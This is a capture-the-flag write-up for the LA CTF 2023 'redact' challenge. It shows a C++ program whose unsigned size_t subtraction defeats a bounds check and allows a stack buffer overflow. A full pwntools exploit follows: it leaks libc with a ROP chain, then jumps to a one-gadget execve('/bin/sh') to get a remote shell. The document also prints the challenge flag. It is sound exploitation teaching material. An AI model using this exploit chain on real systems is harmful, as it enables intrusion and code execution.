La CTF 2023 - redact (CPP, std::string)

I heard C was insecure so I wrote my flag redactor program in C++.
nc lac.tf 31281

  • [46 solves / 476 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <algorithm>
#include <iostream>
#include <string>

int main() {
std::cout << "Enter some text: ";
std::string text;
if (!std::getline(std::cin, text)) {
std::cout << "Failed to read text\n";
return 1;
}
std::cout << "Enter a placeholder: ";
std::string placeholder;
if (!std::getline(std::cin, placeholder)) {
std::cout << "Failed to read placeholder\n";
return 1;
}
std::cout << "Enter the index of the stuff to redact: ";
int index;
if (!(std::cin >> index)) {
std::cout << "Failed to read index\n";
return 1;
}
if (index < 0 || index > text.size() - placeholder.size()) { // [*]
std::cout << "Invalid index\n";
return 1;
}
std::copy(placeholder.begin(), placeholder.end(), text.begin() + index); // [**]
std::cout << text << '\n';
}

Look at the [*]. The text.size() and placeholder.size() are size_t. It means unsigned. But index is just int.
If text.size() is 0 and placeholder.size() is 8, the result of text.size() - placeholder.size() is normally -8(When it is signed..). But it is not. Becuase of their type is unsigned, the result of that is very big int.

If text is stored in stack, it can cause the BOF at [**]. We can trigger this, but We need to know the how std::string is stored in memory.

Here is the structure of that std::string is stored in memory.

1
2
3
4
+00h: <Data Pointer> 
+08h: <Data Size>
+10h: <Data>
+18h: <Data>

When Data Size is over 0x10, Data Pointer is placed in heap. This mean that normally is placed in stack. You can use this feacture for exploit.

Solve

  1. leak libc
  2. use the one gadget

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

p = process('./redact2')
p = remote('lac.tf', 31281)
e = ELF('./redact2')
libc = ELF('./libc.so.6')

# === first main ===

rop1 = ROP(e, badchars=b"\n")

rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc", [e.symbols["_ZSt4cout"], e.got['__libc_start_main']])
rop1.raw(rop1.find_gadget(["ret"]))
rop1.main()

info(rop1.dump())

p.sendlineafter("text: ", b"")

p.sendlineafter("placeholder: ", rop1.generatePadding(0, 72) + rop1.chain())
p.sendlineafter("redact: ", b"0")

p.recv(1)
leak = u64(p.recv(6).ljust(8, b'\x00'))
info(hex(leak))
libc.address = leak - libc.symbols['__libc_start_main']
info(hex(libc.address))

# === second main ===

# 0xc961a execve("/bin/sh", r12, r13)
# constraints:
# [r12] == NULL || r12 == NULL
# [r13] == NULL || r13 == NULL
rop2 = ROP(e, badchars=b"\n")

rop2(r12=0, r13=0)
rop2.raw(libc.address + 0xc961a) # one gadget

info(rop2.dump())

p.sendlineafter("placeholder: ", rop2.generatePadding(0, 72) + rop2.chain())
p.sendlineafter("redact: ", b"0")

p.interactive()

I use the ROP function first time that pwntools have. It is comfortable than I thought.

If you want to understand leak process, you need to understand C++ style print.

1
2
3
4
5
#include <iostream>

int main() {
std::cout << "Hello World!";
}

Flag

1
lactf{1_l0v3_c++_L2zuBdqJABGU}

Reference